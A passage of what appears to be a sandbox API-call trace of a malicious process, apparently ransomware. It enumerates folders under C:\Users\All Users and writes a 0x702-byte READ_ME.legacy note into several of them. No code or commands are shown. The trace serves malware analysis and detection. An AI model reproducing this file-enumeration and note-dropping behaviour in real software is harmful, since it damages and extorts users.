[0110.964] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5898 | out: hHeap=0x520000) returned 1 [0110.966] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20168 [0110.966] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20168 | out: hHeap=0x520000) returned 1 [0110.966] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0110.966] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567310 | out: hHeap=0x520000) returned 1 [0110.966] FindNextFileW (in: hFindFile=0x5c5c98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ARM", cAlternateFileName="")) returned 1 [0110.967] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578d10 | out: hHeap=0x520000) returned 1 [0110.967] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a40 [0110.967] GetLastError () returned 0x5 [0110.967] SetLastError (dwErrCode=0x5) [0110.967] GetLastError () returned 0x5 [0110.967] SetLastError (dwErrCode=0x5) [0110.967] GetLastError () returned 0x5 [0110.967] SetLastError (dwErrCode=0x5) [0110.967] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578b60 [0110.967] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b80 [0110.967] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f08 [0110.967] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0110.967] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0110.967] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578c80 [0110.967] GetLastError () returned 0x5 [0110.968] SetLastError (dwErrCode=0x5) [0110.968] GetLastError () returned 0x5 [0110.968] SetLastError (dwErrCode=0x5) [0110.968] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0110.968] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578c80 | out: hHeap=0x520000) returned 1 [0110.968] GetLastError () returned 0x5 [0110.968] SetLastError (dwErrCode=0x5) [0110.968] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0110.968] CreateFileW (lpFileName="\\Users\\All Users\\Adobe\\ARM\\READ_ME.legacy" (normalized: "c:\\users\\all users\\adobe\\arm\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ac [0110.970] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0110.970] WriteFile (in: hFile=0x5ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0110.971] CloseHandle (hObject=0x5ac) returned 1 [0110.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0110.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0110.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0110.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f08 | out: hHeap=0x520000) returned 1 [0110.971] FindNextFileW (in: hFindFile=0x5c5c98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1e31ac0, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1e31ac0, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1e31ac0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0110.972] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a40 | out: hHeap=0x520000) returned 1 [0110.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578d10 [0110.972] GetLastError () returned 0x0 [0110.972] SetLastError (dwErrCode=0x0) [0110.972] GetLastError () returned 0x0 [0110.972] SetLastError (dwErrCode=0x0) [0110.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0110.972] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578d10 | out: hHeap=0x520000) returned 1 [0110.972] GetLastError () returned 0x0 [0110.972] SetLastError (dwErrCode=0x0) [0110.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ba8 [0110.972] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ba8 | out: hHeap=0x520000) returned 1 [0110.972] FindNextFileW (in: hFindFile=0x5c5c98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1e31ac0, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1e31ac0, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1e31ac0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0110.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0110.972] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578cc8 | out: hHeap=0x520000) returned 1 [0110.972] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0110.973] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d488 | out: hHeap=0x520000) returned 1 [0110.973] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Application Data\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1e31ac0, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1e31ac0, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1e31ac0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0xffffffff [0110.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a40 [0110.973] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0110.973] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0110.973] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0110.973] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Comms\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1e58122, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5cd8 [0110.973] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0110.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578c80 [0110.973] GetLastError () returned 0x5 [0110.974] SetLastError (dwErrCode=0x5) [0110.974] GetLastError () returned 0x5 [0110.974] SetLastError (dwErrCode=0x5) [0110.974] GetLastError () returned 0x5 [0110.974] SetLastError (dwErrCode=0x5) [0110.974] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0110.974] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d240 [0110.974] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0110.974] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d38 [0110.974] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5918 [0110.977] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5918 | out: hHeap=0x520000) returned 1 [0110.977] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200f0 [0110.977] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200f0 | out: hHeap=0x520000) returned 1 [0110.977] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d38 | out: hHeap=0x520000) returned 1 [0110.978] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0110.978] FindNextFileW (in: hFindFile=0x5c5cd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1e58122, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0110.981] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578c80 | out: hHeap=0x520000) returned 1 [0110.981] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ec0 [0110.982] GetLastError () returned 0x5 [0110.982] SetLastError (dwErrCode=0x5) [0110.982] GetLastError () returned 0x5 [0110.982] SetLastError (dwErrCode=0x5) [0110.982] GetLastError () returned 0x5 [0110.982] SetLastError (dwErrCode=0x5) [0110.982] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0110.982] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d978 [0110.982] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0110.982] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b58 [0110.982] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5ed8 [0110.982] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5ed8 | out: hHeap=0x520000) returned 1 [0110.982] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201f8 [0110.982] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201f8 | out: hHeap=0x520000) returned 1 [0110.982] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b58 | out: hHeap=0x520000) returned 1 [0110.982] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0110.982] FindNextFileW (in: hFindFile=0x5c5cd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1e58122, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1e58122, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1e58122, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0110.983] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ec0 | out: hHeap=0x520000) returned 1 [0110.983] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ba8 [0110.983] GetLastError () returned 0x5 [0110.983] SetLastError (dwErrCode=0x5) [0110.983] GetLastError () returned 0x5 [0110.983] SetLastError (dwErrCode=0x5) [0110.983] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0110.983] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ba8 | out: hHeap=0x520000) returned 1 [0110.983] GetLastError () returned 0x5 [0110.983] SetLastError (dwErrCode=0x5) [0110.983] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ae0 [0110.983] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ae0 | out: hHeap=0x520000) returned 1 [0110.983] FindNextFileW (in: hFindFile=0x5c5cd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1e58122, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1e58122, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1e58122, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0110.983] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a88 [0110.983] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a40 | out: hHeap=0x520000) returned 1 [0110.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0110.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4d8 | out: hHeap=0x520000) returned 1 [0110.984] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Desktop\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1e58122, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1e58122, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1e58122, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0xffffffff [0110.984] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0110.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a88 | out: hHeap=0x520000) returned 1 [0110.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0110.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d280 | out: hHeap=0x520000) returned 1 [0110.984] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Documents\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1e58122, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1e58122, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1e58122, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0xffffffff [0110.984] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0110.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0110.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0110.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d528 | out: hHeap=0x520000) returned 1 [0110.985] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Microsoft OneDrive\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd1eb4f2b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c59d8 [0110.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0110.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0110.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0110.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0110.985] GetLastError () returned 0x5 [0110.985] SetLastError (dwErrCode=0x5) [0110.985] GetLastError () returned 0x5 [0110.985] SetLastError (dwErrCode=0x5) [0110.985] GetLastError () returned 0x5 [0110.985] SetLastError (dwErrCode=0x5) [0110.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0110.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d240 [0110.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0110.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c70 [0110.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5a18 [0110.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5a18 | out: hHeap=0x520000) returned 1 [0110.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0110.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0110.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c70 | out: hHeap=0x520000) returned 1 [0110.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0110.986] FindNextFileW (in: hFindFile=0x5c59d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd1eb4f2b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0110.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0110.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0110.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0110.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0110.986] GetLastError () returned 0x5 [0110.986] SetLastError (dwErrCode=0x5) [0110.986] GetLastError () returned 0x5 [0110.987] SetLastError (dwErrCode=0x5) [0110.987] GetLastError () returned 0x5 [0110.987] SetLastError (dwErrCode=0x5) [0110.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cb8 [0110.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d660 [0110.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0110.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b08 [0110.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5ed8 [0110.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5ed8 | out: hHeap=0x520000) returned 1 [0110.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0110.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0110.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b08 | out: hHeap=0x520000) returned 1 [0110.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cb8 | out: hHeap=0x520000) returned 1 [0110.987] FindNextFileW (in: hFindFile=0x5c59d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1eb4f2b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1eb4f2b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1eb4f2b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0110.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0110.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0110.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0110.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0110.988] GetLastError () returned 0x5 [0110.988] SetLastError (dwErrCode=0x5) [0110.988] GetLastError () returned 0x5 [0110.988] SetLastError (dwErrCode=0x5) [0110.988] GetLastError () returned 0x5 [0110.988] SetLastError (dwErrCode=0x5) [0110.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d38 [0110.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d38 | out: hHeap=0x520000) returned 1 [0110.988] FindNextFileW (in: hFindFile=0x5c59d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="setup", cAlternateFileName="")) returned 1 [0110.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0110.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0110.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0110.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0110.988] GetLastError () returned 0x5 [0110.989] SetLastError (dwErrCode=0x5) [0110.989] GetLastError () returned 0x5 [0110.989] SetLastError (dwErrCode=0x5) [0110.989] GetLastError () returned 0x5 [0110.989] SetLastError (dwErrCode=0x5) [0110.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556848 [0110.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c48 [0110.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5568b0 [0110.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0110.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0110.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0110.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0110.989] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0110.989] GetLastError () returned 0x5 [0110.989] SetLastError (dwErrCode=0x5) [0110.989] GetLastError () returned 0x5 [0110.989] SetLastError (dwErrCode=0x5) [0110.990] GetLastError () returned 0x5 [0110.990] SetLastError (dwErrCode=0x5) [0110.990] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0110.990] CreateFileW (lpFileName="\\Users\\All Users\\Microsoft OneDrive\\setup\\READ_ME.legacy" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b4 [0111.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0111.012] WriteFile (in: hFile=0x5b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.013] CloseHandle (hObject=0x5b4) returned 1 [0111.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0111.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0111.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5568b0 | out: hHeap=0x520000) returned 1 [0111.013] FindNextFileW (in: hFindFile=0x5c59d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="setup", cAlternateFileName="")) returned 0 [0111.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0111.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0111.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0111.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3c0 | out: 